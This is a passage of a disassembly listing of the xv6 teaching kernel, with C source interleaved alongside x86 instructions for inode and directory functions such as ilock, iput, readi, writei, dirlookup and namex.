80101557: 8b 06 mov (%esi),%eax
80101559: e8 dd fa ff ff call 8010103b <bfree>
for(j = 0; j < NINDIRECT; j++){
8010155e: 83 c3 01 add $0x1,%ebx
80101561: 83 fb 7f cmp $0x7f,%ebx
80101564: 77 09 ja 8010156f <itrunc+0x8b>
if(a[j])
80101566: 8b 14 9f mov (%edi,%ebx,4),%edx
80101569: 85 d2 test %edx,%edx
8010156b: 74 f1 je 8010155e <itrunc+0x7a>
8010156d: eb e8 jmp 80101557 <itrunc+0x73>
brelse(bp);
8010156f: 83 ec 0c sub $0xc,%esp
80101572: ff 75 e4 pushl -0x1c(%ebp)
80101575: e8 67 ec ff ff call 801001e1 <brelse>
bfree(ip->dev, ip->addrs[NDIRECT]);
8010157a: 8b 06 mov (%esi),%eax
8010157c: 8b 96 8c 00 00 00 mov 0x8c(%esi),%edx
80101582: e8 b4 fa ff ff call 8010103b <bfree>
ip->addrs[NDIRECT] = 0;
80101587: c7 86 8c 00 00 00 00 movl $0x0,0x8c(%esi)
8010158e: 00 00 00
80101591: 83 c4 10 add $0x10,%esp
80101594: eb 8b jmp 80101521 <itrunc+0x3d>
80101596 <idup>:
{
80101596: f3 0f 1e fb endbr32
8010159a: 55 push %ebp
8010159b: 89 e5 mov %esp,%ebp
8010159d: 53 push %ebx
8010159e: 83 ec 10 sub $0x10,%esp
801015a1: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&icache.lock);
801015a4: 68 e0 09 11 80 push $0x801109e0
801015a9: e8 6b 29 00 00 call 80103f19 <acquire>
ip->ref++;
801015ae: 8b 43 08 mov 0x8(%ebx),%eax
801015b1: 83 c0 01 add $0x1,%eax
801015b4: 89 43 08 mov %eax,0x8(%ebx)
release(&icache.lock);
801015b7: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
801015be: e8 bf 29 00 00 call 80103f82 <release>
}
801015c3: 89 d8 mov %ebx,%eax
801015c5: 8b 5d fc mov -0x4(%ebp),%ebx
801015c8: c9 leave
801015c9: c3 ret
801015ca <ilock>:
{
801015ca: f3 0f 1e fb endbr32
801015ce: 55 push %ebp
801015cf: 89 e5 mov %esp,%ebp
801015d1: 56 push %esi
801015d2: 53 push %ebx
801015d3: 8b 5d 08 mov 0x8(%ebp),%ebx
if(ip == 0 || ip->ref < 1)
801015d6: 85 db test %ebx,%ebx
801015d8: 74 22 je 801015fc <ilock+0x32>
801015da: 83 7b 08 00 cmpl $0x0,0x8(%ebx)
801015de: 7e 1c jle 801015fc <ilock+0x32>
acquiresleep(&ip->lock);
801015e0: 83 ec 0c sub $0xc,%esp
801015e3: 8d 43 0c lea 0xc(%ebx),%eax
801015e6: 50 push %eax
801015e7: e8 f9 26 00 00 call 80103ce5 <acquiresleep>
if(ip->valid == 0){
801015ec: 83 c4 10 add $0x10,%esp
801015ef: 83 7b 4c 00 cmpl $0x0,0x4c(%ebx)
801015f3: 74 14 je 80101609 <ilock+0x3f>
}
801015f5: 8d 65 f8 lea -0x8(%ebp),%esp
801015f8: 5b pop %ebx
801015f9: 5e pop %esi
801015fa: 5d pop %ebp
801015fb: c3 ret
panic("ilock");
801015fc: 83 ec 0c sub $0xc,%esp
801015ff: 68 2a 6a 10 80 push $0x80106a2a
80101604: e8 53 ed ff ff call 8010035c <panic>
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
80101609: 8b 43 04 mov 0x4(%ebx),%eax
8010160c: c1 e8 03 shr $0x3,%eax
8010160f: 83 ec 08 sub $0x8,%esp
80101612: 03 05 d4 09 11 80 add 0x801109d4,%eax
80101618: 50 push %eax
80101619: ff 33 pushl (%ebx)
8010161b: e8 50 eb ff ff call 80100170 <bread>
80101620: 89 c6 mov %eax,%esi
dip = (struct dinode*)bp->data + ip->inum%IPB;
80101622: 8b 43 04 mov 0x4(%ebx),%eax
80101625: 83 e0 07 and $0x7,%eax
80101628: c1 e0 06 shl $0x6,%eax
8010162b: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax
ip->type = dip->type;
8010162f: 0f b7 10 movzwl (%eax),%edx
80101632: 66 89 53 50 mov %dx,0x50(%ebx)
ip->major = dip->major;
80101636: 0f b7 50 02 movzwl 0x2(%eax),%edx
8010163a: 66 89 53 52 mov %dx,0x52(%ebx)
ip->minor = dip->minor;
8010163e: 0f b7 50 04 movzwl 0x4(%eax),%edx
80101642: 66 89 53 54 mov %dx,0x54(%ebx)
ip->nlink = dip->nlink;
80101646: 0f b7 50 06 movzwl 0x6(%eax),%edx
8010164a: 66 89 53 56 mov %dx,0x56(%ebx)
ip->size = dip->size;
8010164e: 8b 50 08 mov 0x8(%eax),%edx
80101651: 89 53 58 mov %edx,0x58(%ebx)
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
80101654: 83 c0 0c add $0xc,%eax
80101657: 8d 53 5c lea 0x5c(%ebx),%edx
8010165a: 83 c4 0c add $0xc,%esp
8010165d: 6a 34 push $0x34
8010165f: 50 push %eax
80101660: 52 push %edx
80101661: e8 e7 29 00 00 call 8010404d <memmove>
brelse(bp);
80101666: 89 34 24 mov %esi,(%esp)
80101669: e8 73 eb ff ff call 801001e1 <brelse>
ip->valid = 1;
8010166e: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx)
if(ip->type == 0)
80101675: 83 c4 10 add $0x10,%esp
80101678: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx)
8010167d: 0f 85 72 ff ff ff jne 801015f5 <ilock+0x2b>
panic("ilock: no type");
80101683: 83 ec 0c sub $0xc,%esp
80101686: 68 30 6a 10 80 push $0x80106a30
8010168b: e8 cc ec ff ff call 8010035c <panic>
80101690 <iunlock>:
{
80101690: f3 0f 1e fb endbr32
80101694: 55 push %ebp
80101695: 89 e5 mov %esp,%ebp
80101697: 56 push %esi
80101698: 53 push %ebx
80101699: 8b 5d 08 mov 0x8(%ebp),%ebx
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
8010169c: 85 db test %ebx,%ebx
8010169e: 74 2c je 801016cc <iunlock+0x3c>
801016a0: 8d 73 0c lea 0xc(%ebx),%esi
801016a3: 83 ec 0c sub $0xc,%esp
801016a6: 56 push %esi
801016a7: e8 cb 26 00 00 call 80103d77 <holdingsleep>
801016ac: 83 c4 10 add $0x10,%esp
801016af: 85 c0 test %eax,%eax
801016b1: 74 19 je 801016cc <iunlock+0x3c>
801016b3: 83 7b 08 00 cmpl $0x0,0x8(%ebx)
801016b7: 7e 13 jle 801016cc <iunlock+0x3c>
releasesleep(&ip->lock);
801016b9: 83 ec 0c sub $0xc,%esp
801016bc: 56 push %esi
801016bd: e8 76 26 00 00 call 80103d38 <releasesleep>
}
801016c2: 83 c4 10 add $0x10,%esp
801016c5: 8d 65 f8 lea -0x8(%ebp),%esp
801016c8: 5b pop %ebx
801016c9: 5e pop %esi
801016ca: 5d pop %ebp
801016cb: c3 ret
panic("iunlock");
801016cc: 83 ec 0c sub $0xc,%esp
801016cf: 68 3f 6a 10 80 push $0x80106a3f
801016d4: e8 83 ec ff ff call 8010035c <panic>
801016d9 <iput>:
{
801016d9: f3 0f 1e fb endbr32
801016dd: 55 push %ebp
801016de: 89 e5 mov %esp,%ebp
801016e0: 57 push %edi
801016e1: 56 push %esi
801016e2: 53 push %ebx
801016e3: 83 ec 18 sub $0x18,%esp
801016e6: 8b 5d 08 mov 0x8(%ebp),%ebx
acquiresleep(&ip->lock);
801016e9: 8d 73 0c lea 0xc(%ebx),%esi
801016ec: 56 push %esi
801016ed: e8 f3 25 00 00 call 80103ce5 <acquiresleep>
if(ip->valid && ip->nlink == 0){
801016f2: 83 c4 10 add $0x10,%esp
801016f5: 83 7b 4c 00 cmpl $0x0,0x4c(%ebx)
801016f9: 74 07 je 80101702 <iput+0x29>
801016fb: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx)
80101700: 74 35 je 80101737 <iput+0x5e>
releasesleep(&ip->lock);
80101702: 83 ec 0c sub $0xc,%esp
80101705: 56 push %esi
80101706: e8 2d 26 00 00 call 80103d38 <releasesleep>
acquire(&icache.lock);
8010170b: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101712: e8 02 28 00 00 call 80103f19 <acquire>
ip->ref--;
80101717: 8b 43 08 mov 0x8(%ebx),%eax
8010171a: 83 e8 01 sub $0x1,%eax
8010171d: 89 43 08 mov %eax,0x8(%ebx)
release(&icache.lock);
80101720: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101727: e8 56 28 00 00 call 80103f82 <release>
}
8010172c: 83 c4 10 add $0x10,%esp
8010172f: 8d 65 f4 lea -0xc(%ebp),%esp
80101732: 5b pop %ebx
80101733: 5e pop %esi
80101734: 5f pop %edi
80101735: 5d pop %ebp
80101736: c3 ret
acquire(&icache.lock);
80101737: 83 ec 0c sub $0xc,%esp
8010173a: 68 e0 09 11 80 push $0x801109e0
8010173f: e8 d5 27 00 00 call 80103f19 <acquire>
int r = ip->ref;
80101744: 8b 7b 08 mov 0x8(%ebx),%edi
release(&icache.lock);
80101747: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
8010174e: e8 2f 28 00 00 call 80103f82 <release>
if(r == 1){
80101753: 83 c4 10 add $0x10,%esp
80101756: 83 ff 01 cmp $0x1,%edi
80101759: 75 a7 jne 80101702 <iput+0x29>
itrunc(ip);
8010175b: 89 d8 mov %ebx,%eax
8010175d: e8 82 fd ff ff call 801014e4 <itrunc>
ip->type = 0;
80101762: 66 c7 43 50 00 00 movw $0x0,0x50(%ebx)
iupdate(ip);
80101768: 83 ec 0c sub $0xc,%esp
8010176b: 53 push %ebx
8010176c: e8 f0 fc ff ff call 80101461 <iupdate>
ip->valid = 0;
80101771: c7 43 4c 00 00 00 00 movl $0x0,0x4c(%ebx)
80101778: 83 c4 10 add $0x10,%esp
8010177b: eb 85 jmp 80101702 <iput+0x29>
8010177d <iunlockput>:
{
8010177d: f3 0f 1e fb endbr32
80101781: 55 push %ebp
80101782: 89 e5 mov %esp,%ebp
80101784: 53 push %ebx
80101785: 83 ec 10 sub $0x10,%esp
80101788: 8b 5d 08 mov 0x8(%ebp),%ebx
iunlock(ip);
8010178b: 53 push %ebx
8010178c: e8 ff fe ff ff call 80101690 <iunlock>
iput(ip);
80101791: 89 1c 24 mov %ebx,(%esp)
80101794: e8 40 ff ff ff call 801016d9 <iput>
}
80101799: 83 c4 10 add $0x10,%esp
8010179c: 8b 5d fc mov -0x4(%ebp),%ebx
8010179f: c9 leave
801017a0: c3 ret
801017a1 <stati>:
{
801017a1: f3 0f 1e fb endbr32
801017a5: 55 push %ebp
801017a6: 89 e5 mov %esp,%ebp
801017a8: 8b 55 08 mov 0x8(%ebp),%edx
801017ab: 8b 45 0c mov 0xc(%ebp),%eax
st->dev = ip->dev;
801017ae: 8b 0a mov (%edx),%ecx
801017b0: 89 48 04 mov %ecx,0x4(%eax)
st->ino = ip->inum;
801017b3: 8b 4a 04 mov 0x4(%edx),%ecx
801017b6: 89 48 08 mov %ecx,0x8(%eax)
st->type = ip->type;
801017b9: 0f b7 4a 50 movzwl 0x50(%edx),%ecx
801017bd: 66 89 08 mov %cx,(%eax)
st->nlink = ip->nlink;
801017c0: 0f b7 4a 56 movzwl 0x56(%edx),%ecx
801017c4: 66 89 48 0c mov %cx,0xc(%eax)
st->size = ip->size;
801017c8: 8b 52 58 mov 0x58(%edx),%edx
801017cb: 89 50 10 mov %edx,0x10(%eax)
}
801017ce: 5d pop %ebp
801017cf: c3 ret
801017d0 <readi>:
{
801017d0: f3 0f 1e fb endbr32
801017d4: 55 push %ebp
801017d5: 89 e5 mov %esp,%ebp
801017d7: 57 push %edi
801017d8: 56 push %esi
801017d9: 53 push %ebx
801017da: 83 ec 1c sub $0x1c,%esp
801017dd: 8b 75 10 mov 0x10(%ebp),%esi
if(ip->type == T_DEV){
801017e0: 8b 45 08 mov 0x8(%ebp),%eax
801017e3: 66 83 78 50 03 cmpw $0x3,0x50(%eax)
801017e8: 74 2c je 80101816 <readi+0x46>
if(off > ip->size || off + n < off)
801017ea: 8b 45 08 mov 0x8(%ebp),%eax
801017ed: 8b 40 58 mov 0x58(%eax),%eax
801017f0: 39 f0 cmp %esi,%eax
801017f2: 0f 82 cb 00 00 00 jb 801018c3 <readi+0xf3>
801017f8: 89 f2 mov %esi,%edx
801017fa: 03 55 14 add 0x14(%ebp),%edx
801017fd: 0f 82 c7 00 00 00 jb 801018ca <readi+0xfa>
if(off + n > ip->size)
80101803: 39 d0 cmp %edx,%eax
80101805: 73 05 jae 8010180c <readi+0x3c>
n = ip->size - off;
80101807: 29 f0 sub %esi,%eax
80101809: 89 45 14 mov %eax,0x14(%ebp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
8010180c: bf 00 00 00 00 mov $0x0,%edi
80101811: e9 8f 00 00 00 jmp 801018a5 <readi+0xd5>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
80101816: 0f b7 40 52 movzwl 0x52(%eax),%eax
8010181a: 66 83 f8 09 cmp $0x9,%ax
8010181e: 0f 87 91 00 00 00 ja 801018b5 <readi+0xe5>
80101824: 98 cwtl
80101825: 8b 04 c5 60 09 11 80 mov -0x7feef6a0(,%eax,8),%eax
8010182c: 85 c0 test %eax,%eax
8010182e: 0f 84 88 00 00 00 je 801018bc <readi+0xec>
return devsw[ip->major].read(ip, dst, n);
80101834: 83 ec 04 sub $0x4,%esp
80101837: ff 75 14 pushl 0x14(%ebp)
8010183a: ff 75 0c pushl 0xc(%ebp)
8010183d: ff 75 08 pushl 0x8(%ebp)
80101840: ff d0 call *%eax
80101842: 83 c4 10 add $0x10,%esp
80101845: eb 66 jmp 801018ad <readi+0xdd>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101847: 89 f2 mov %esi,%edx
80101849: c1 ea 09 shr $0x9,%edx
8010184c: 8b 45 08 mov 0x8(%ebp),%eax
8010184f: e8 44 f9 ff ff call 80101198 <bmap>
80101854: 83 ec 08 sub $0x8,%esp
80101857: 50 push %eax
80101858: 8b 45 08 mov 0x8(%ebp),%eax
8010185b: ff 30 pushl (%eax)
8010185d: e8 0e e9 ff ff call 80100170 <bread>
80101862: 89 c1 mov %eax,%ecx
m = min(n - tot, BSIZE - off%BSIZE);
80101864: 89 f0 mov %esi,%eax
80101866: 25 ff 01 00 00 and $0x1ff,%eax
8010186b: bb 00 02 00 00 mov $0x200,%ebx
80101870: 29 c3 sub %eax,%ebx
80101872: 8b 55 14 mov 0x14(%ebp),%edx
80101875: 29 fa sub %edi,%edx
80101877: 83 c4 0c add $0xc,%esp
8010187a: 39 d3 cmp %edx,%ebx
8010187c: 0f 47 da cmova %edx,%ebx
memmove(dst, bp->data + off%BSIZE, m);
8010187f: 53 push %ebx
80101880: 89 4d e4 mov %ecx,-0x1c(%ebp)
80101883: 8d 44 01 5c lea 0x5c(%ecx,%eax,1),%eax
80101887: 50 push %eax
80101888: ff 75 0c pushl 0xc(%ebp)
8010188b: e8 bd 27 00 00 call 8010404d <memmove>
brelse(bp);
80101890: 83 c4 04 add $0x4,%esp
80101893: ff 75 e4 pushl -0x1c(%ebp)
80101896: e8 46 e9 ff ff call 801001e1 <brelse>
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
8010189b: 01 df add %ebx,%edi
8010189d: 01 de add %ebx,%esi
8010189f: 01 5d 0c add %ebx,0xc(%ebp)
801018a2: 83 c4 10 add $0x10,%esp
801018a5: 39 7d 14 cmp %edi,0x14(%ebp)
801018a8: 77 9d ja 80101847 <readi+0x77>
return n;
801018aa: 8b 45 14 mov 0x14(%ebp),%eax
}
801018ad: 8d 65 f4 lea -0xc(%ebp),%esp
801018b0: 5b pop %ebx
801018b1: 5e pop %esi
801018b2: 5f pop %edi
801018b3: 5d pop %ebp
801018b4: c3 ret
return -1;
801018b5: b8 ff ff ff ff mov $0xffffffff,%eax
801018ba: eb f1 jmp 801018ad <readi+0xdd>
801018bc: b8 ff ff ff ff mov $0xffffffff,%eax
801018c1: eb ea jmp 801018ad <readi+0xdd>
return -1;
801018c3: b8 ff ff ff ff mov $0xffffffff,%eax
801018c8: eb e3 jmp 801018ad <readi+0xdd>
801018ca: b8 ff ff ff ff mov $0xffffffff,%eax
801018cf: eb dc jmp 801018ad <readi+0xdd>
801018d1 <writei>:
{
801018d1: f3 0f 1e fb endbr32
801018d5: 55 push %ebp
801018d6: 89 e5 mov %esp,%ebp
801018d8: 57 push %edi
801018d9: 56 push %esi
801018da: 53 push %ebx
801018db: 83 ec 1c sub $0x1c,%esp
801018de: 8b 75 10 mov 0x10(%ebp),%esi
if(ip->type == T_DEV){
801018e1: 8b 45 08 mov 0x8(%ebp),%eax
801018e4: 66 83 78 50 03 cmpw $0x3,0x50(%eax)
801018e9: 0f 84 9b 00 00 00 je 8010198a <writei+0xb9>
if(off > ip->size || off + n < off)
801018ef: 8b 45 08 mov 0x8(%ebp),%eax
801018f2: 39 70 58 cmp %esi,0x58(%eax)
801018f5: 0f 82 f0 00 00 00 jb 801019eb <writei+0x11a>
801018fb: 89 f0 mov %esi,%eax
801018fd: 03 45 14 add 0x14(%ebp),%eax
80101900: 0f 82 ec 00 00 00 jb 801019f2 <writei+0x121>
if(off + n > MAXFILE*BSIZE)
80101906: 3d 00 18 01 00 cmp $0x11800,%eax
8010190b: 0f 87 e8 00 00 00 ja 801019f9 <writei+0x128>
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101911: bf 00 00 00 00 mov $0x0,%edi
80101916: 3b 7d 14 cmp 0x14(%ebp),%edi
80101919: 0f 83 94 00 00 00 jae 801019b3 <writei+0xe2>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
8010191f: 89 f2 mov %esi,%edx
80101921: c1 ea 09 shr $0x9,%edx
80101924: 8b 45 08 mov 0x8(%ebp),%eax
80101927: e8 6c f8 ff ff call 80101198 <bmap>
8010192c: 83 ec 08 sub $0x8,%esp
8010192f: 50 push %eax
80101930: 8b 45 08 mov 0x8(%ebp),%eax
80101933: ff 30 pushl (%eax)
80101935: e8 36 e8 ff ff call 80100170 <bread>
8010193a: 89 c1 mov %eax,%ecx
m = min(n - tot, BSIZE - off%BSIZE);
8010193c: 89 f0 mov %esi,%eax
8010193e: 25 ff 01 00 00 and $0x1ff,%eax
80101943: bb 00 02 00 00 mov $0x200,%ebx
80101948: 29 c3 sub %eax,%ebx
8010194a: 8b 55 14 mov 0x14(%ebp),%edx
8010194d: 29 fa sub %edi,%edx
8010194f: 83 c4 0c add $0xc,%esp
80101952: 39 d3 cmp %edx,%ebx
80101954: 0f 47 da cmova %edx,%ebx
memmove(bp->data + off%BSIZE, src, m);
80101957: 53 push %ebx
80101958: ff 75 0c pushl 0xc(%ebp)
8010195b: 89 4d e4 mov %ecx,-0x1c(%ebp)
8010195e: 8d 44 01 5c lea 0x5c(%ecx,%eax,1),%eax
80101962: 50 push %eax
80101963: e8 e5 26 00 00 call 8010404d <memmove>
log_write(bp);
80101968: 83 c4 04 add $0x4,%esp
8010196b: ff 75 e4 pushl -0x1c(%ebp)
8010196e: e8 0d 10 00 00 call 80102980 <log_write>
brelse(bp);
80101973: 83 c4 04 add $0x4,%esp
80101976: ff 75 e4 pushl -0x1c(%ebp)
80101979: e8 63 e8 ff ff call 801001e1 <brelse>
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
8010197e: 01 df add %ebx,%edi
80101980: 01 de add %ebx,%esi
80101982: 01 5d 0c add %ebx,0xc(%ebp)
80101985: 83 c4 10 add $0x10,%esp
80101988: eb 8c jmp 80101916 <writei+0x45>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
8010198a: 0f b7 40 52 movzwl 0x52(%eax),%eax
8010198e: 66 83 f8 09 cmp $0x9,%ax
80101992: 77 49 ja 801019dd <writei+0x10c>
80101994: 98 cwtl
80101995: 8b 04 c5 64 09 11 80 mov -0x7feef69c(,%eax,8),%eax
8010199c: 85 c0 test %eax,%eax
8010199e: 74 44 je 801019e4 <writei+0x113>
return devsw[ip->major].write(ip, src, n);
801019a0: 83 ec 04 sub $0x4,%esp
801019a3: ff 75 14 pushl 0x14(%ebp)
801019a6: ff 75 0c pushl 0xc(%ebp)
801019a9: ff 75 08 pushl 0x8(%ebp)
801019ac: ff d0 call *%eax
801019ae: 83 c4 10 add $0x10,%esp
801019b1: eb 11 jmp 801019c4 <writei+0xf3>
if(n > 0 && off > ip->size){
801019b3: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
801019b7: 74 08 je 801019c1 <writei+0xf0>
801019b9: 8b 45 08 mov 0x8(%ebp),%eax
801019bc: 39 70 58 cmp %esi,0x58(%eax)
801019bf: 72 0b jb 801019cc <writei+0xfb>
return n;
801019c1: 8b 45 14 mov 0x14(%ebp),%eax
}
801019c4: 8d 65 f4 lea -0xc(%ebp),%esp
801019c7: 5b pop %ebx
801019c8: 5e pop %esi
801019c9: 5f pop %edi
801019ca: 5d pop %ebp
801019cb: c3 ret
ip->size = off;
801019cc: 89 70 58 mov %esi,0x58(%eax)
iupdate(ip);
801019cf: 83 ec 0c sub $0xc,%esp
801019d2: 50 push %eax
801019d3: e8 89 fa ff ff call 80101461 <iupdate>
801019d8: 83 c4 10 add $0x10,%esp
801019db: eb e4 jmp 801019c1 <writei+0xf0>
return -1;
801019dd: b8 ff ff ff ff mov $0xffffffff,%eax
801019e2: eb e0 jmp 801019c4 <writei+0xf3>
801019e4: b8 ff ff ff ff mov $0xffffffff,%eax
801019e9: eb d9 jmp 801019c4 <writei+0xf3>
return -1;
801019eb: b8 ff ff ff ff mov $0xffffffff,%eax
801019f0: eb d2 jmp 801019c4 <writei+0xf3>
801019f2: b8 ff ff ff ff mov $0xffffffff,%eax
801019f7: eb cb jmp 801019c4 <writei+0xf3>
return -1;
801019f9: b8 ff ff ff ff mov $0xffffffff,%eax
801019fe: eb c4 jmp 801019c4 <writei+0xf3>
80101a00 <namecmp>:
{
80101a00: f3 0f 1e fb endbr32
80101a04: 55 push %ebp
80101a05: 89 e5 mov %esp,%ebp
80101a07: 83 ec 0c sub $0xc,%esp
return strncmp(s, t, DIRSIZ);
80101a0a: 6a 0e push $0xe
80101a0c: ff 75 0c pushl 0xc(%ebp)
80101a0f: ff 75 08 pushl 0x8(%ebp)
80101a12: e8 a8 26 00 00 call 801040bf <strncmp>
}
80101a17: c9 leave
80101a18: c3 ret
80101a19 <dirlookup>:
{
80101a19: f3 0f 1e fb endbr32
80101a1d: 55 push %ebp
80101a1e: 89 e5 mov %esp,%ebp
80101a20: 57 push %edi
80101a21: 56 push %esi
80101a22: 53 push %ebx
80101a23: 83 ec 1c sub $0x1c,%esp
80101a26: 8b 75 08 mov 0x8(%ebp),%esi
80101a29: 8b 7d 0c mov 0xc(%ebp),%edi
if(dp->type != T_DIR)
80101a2c: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
80101a31: 75 07 jne 80101a3a <dirlookup+0x21>
for(off = 0; off < dp->size; off += sizeof(de)){
80101a33: bb 00 00 00 00 mov $0x0,%ebx
80101a38: eb 1d jmp 80101a57 <dirlookup+0x3e>
panic("dirlookup not DIR");
80101a3a: 83 ec 0c sub $0xc,%esp
80101a3d: 68 47 6a 10 80 push $0x80106a47
80101a42: e8 15 e9 ff ff call 8010035c <panic>
panic("dirlookup read");
80101a47: 83 ec 0c sub $0xc,%esp
80101a4a: 68 59 6a 10 80 push $0x80106a59
80101a4f: e8 08 e9 ff ff call 8010035c <panic>
for(off = 0; off < dp->size; off += sizeof(de)){
80101a54: 83 c3 10 add $0x10,%ebx
80101a57: 39 5e 58 cmp %ebx,0x58(%esi)
80101a5a: 76 48 jbe 80101aa4 <dirlookup+0x8b>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101a5c: 6a 10 push $0x10
80101a5e: 53 push %ebx
80101a5f: 8d 45 d8 lea -0x28(%ebp),%eax
80101a62: 50 push %eax
80101a63: 56 push %esi
80101a64: e8 67 fd ff ff call 801017d0 <readi>
80101a69: 83 c4 10 add $0x10,%esp
80101a6c: 83 f8 10 cmp $0x10,%eax
80101a6f: 75 d6 jne 80101a47 <dirlookup+0x2e>
if(de.inum == 0)
80101a71: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80101a76: 74 dc je 80101a54 <dirlookup+0x3b>
if(namecmp(name, de.name) == 0){
80101a78: 83 ec 08 sub $0x8,%esp
80101a7b: 8d 45 da lea -0x26(%ebp),%eax
80101a7e: 50 push %eax
80101a7f: 57 push %edi
80101a80: e8 7b ff ff ff call 80101a00 <namecmp>
80101a85: 83 c4 10 add $0x10,%esp
80101a88: 85 c0 test %eax,%eax
80101a8a: 75 c8 jne 80101a54 <dirlookup+0x3b>
if(poff)
80101a8c: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80101a90: 74 05 je 80101a97 <dirlookup+0x7e>
*poff = off;
80101a92: 8b 45 10 mov 0x10(%ebp),%eax
80101a95: 89 18 mov %ebx,(%eax)
inum = de.inum;
80101a97: 0f b7 55 d8 movzwl -0x28(%ebp),%edx
return iget(dp->dev, inum);
80101a9b: 8b 06 mov (%esi),%eax
80101a9d: e8 9c f7 ff ff call 8010123e <iget>
80101aa2: eb 05 jmp 80101aa9 <dirlookup+0x90>
return 0;
80101aa4: b8 00 00 00 00 mov $0x0,%eax
}
80101aa9: 8d 65 f4 lea -0xc(%ebp),%esp
80101aac: 5b pop %ebx
80101aad: 5e pop %esi
80101aae: 5f pop %edi
80101aaf: 5d pop %ebp
80101ab0: c3 ret
80101ab1 <namex>:
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
80101ab1: 55 push %ebp
80101ab2: 89 e5 mov %esp,%ebp
80101ab4: 57 push %edi
80101ab5: 56 push %esi
80101ab6: 53 push %ebx
80101ab7: 83 ec 1c sub $0x1c,%esp
80101aba: 89 c3 mov %eax,%ebx
80101abc: 89 55 e0 mov %edx,-0x20(%ebp)
80101abf: 89 4d e4 mov %ecx,-0x1c(%ebp)
struct inode *ip, *next;
if(*path == '/')
80101ac2: 80 38 2f cmpb $0x2f,(%eax)
80101ac5: 74 17 je 80101ade <namex+0x2d>
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(myproc()->cwd);
80101ac7: e8 f9 17 00 00 call 801032c5 <myproc>
80101acc: 83 ec 0c sub $0xc,%esp
80101acf: ff 70 68 pushl 0x68(%eax)
80101ad2: e8 bf fa ff ff call 80101596 <idup>
80101ad7: 89 c6 mov %eax,%esi
80101ad9: 83 c4 10 add $0x10,%esp
80101adc: eb 53 jmp 80101b31 <namex+0x80>
ip = iget(ROOTDEV, ROOTINO);
80101ade: ba 01 00 00 00 mov $0x1,%edx
80101ae3: b8 01 00 00 00 mov $0x1,%eax
80101ae8: e8 51 f7 ff ff call 8010123e <iget>
80101aed: 89 c6 mov %eax,%esi
80101aef: eb 40 jmp 80101b31 <namex+0x80>
while((path = skipelem(path, name)) != 0){
ilock(ip);
if(ip->type != T_DIR){
iunlockput(ip);
80101af1: 83 ec 0c sub $0xc,%esp
80101af4: 56 push %esi
80101af5: e8 83 fc ff ff call 8010177d <iunlockput>
return 0;
80101afa: 83 c4 10 add $0x10,%esp
80101afd: be 00 00 00 00 mov $0x0,%esi
if(nameiparent){
iput(ip);
return 0;
}
return ip;
}
80101b02: 89 f0 mov %esi,%eax
80101b04: 8d 65 f4 lea -0xc(%ebp),%esp
80101b07: 5b pop %ebx
80101b08: 5e pop %esi
80101b09: 5f pop %edi
80101b0a: 5d pop %ebp
80101b0b: c3 ret
if((next = dirlookup(ip, name, 0)) == 0){
80101b0c: 83 ec 04 sub $0x4,%esp
80101b0f: 6a 00 push $0x0
80101b11: ff 75 e4 pushl -0x1c(%ebp)
80101b14: 56 push %esi
80101b15: e8 ff fe ff ff call 80101a19 <dirlookup>
80101b1a: 89 c7 mov %eax,%edi
80101b1c: 83 c4 10 add $0x10,%esp
80101b1f: 85 c0 test %eax,%eax
80101b21: 74 4a je 80101b6d <namex+0xbc>
iunlockput(ip);
80101b23: 83 ec 0c sub $0xc,%esp
80101b26: 56 push %esi
80101b27: e8 51 fc ff ff call 8010177d <iunlockput>
80101b2c: 83 c4 10 add $0x10,%esp
ip = next;
80101b2f: 89 fe mov %edi,%esi
while((path = skipelem(path, name)) != 0){
80101b31: 8b 55 e4 mov -0x1c(%ebp),%edx
80101b34: 89 d8 mov %ebx,%eax
80101b36: e8 49 f4 ff ff call 80100f84 <skipelem>
80101b3b: 89 c3 mov %eax,%ebx
80101b3d: 85 c0 test %eax,%eax
80101b3f: 74 3c je 80101b7d <namex+0xcc>
ilock(ip);
80101b41: 83 ec 0c sub $0xc,%esp
80101b44: 56 push %esi
80101b45: e8 80 fa ff ff call 801015ca <ilock>
if(ip->type != T_DIR){
80101b4a: 83 c4 10 add $0x10,%esp
80101b4d: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
80101b52: 75 9d jne 80101af1 <namex+0x40>
if(nameiparent && *path == '\0'){
80101b54: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
80101b58: 74 b2 je 80101b0c <namex+0x5b>
80101b5a: 80 3b 00 cmpb $0x0,(%ebx)
80101b5d: 75 ad jne 80101b0c <namex+0x5b>
iunlock(ip);
80101b5f: 83 ec 0c sub $0xc,%esp
80101b62: 56 push %esi
80101b63: e8 28 fb ff ff call 80101690 <iunlock>
return ip;
80101b68: 83 c4 10 add $0x10,%esp
80101b6b: eb 95 jmp 80101b02 <namex+0x51>
iunlockput(ip);
80101b6d: 83 ec 0c sub $0xc,%esp
80101b70: 56 push %esi
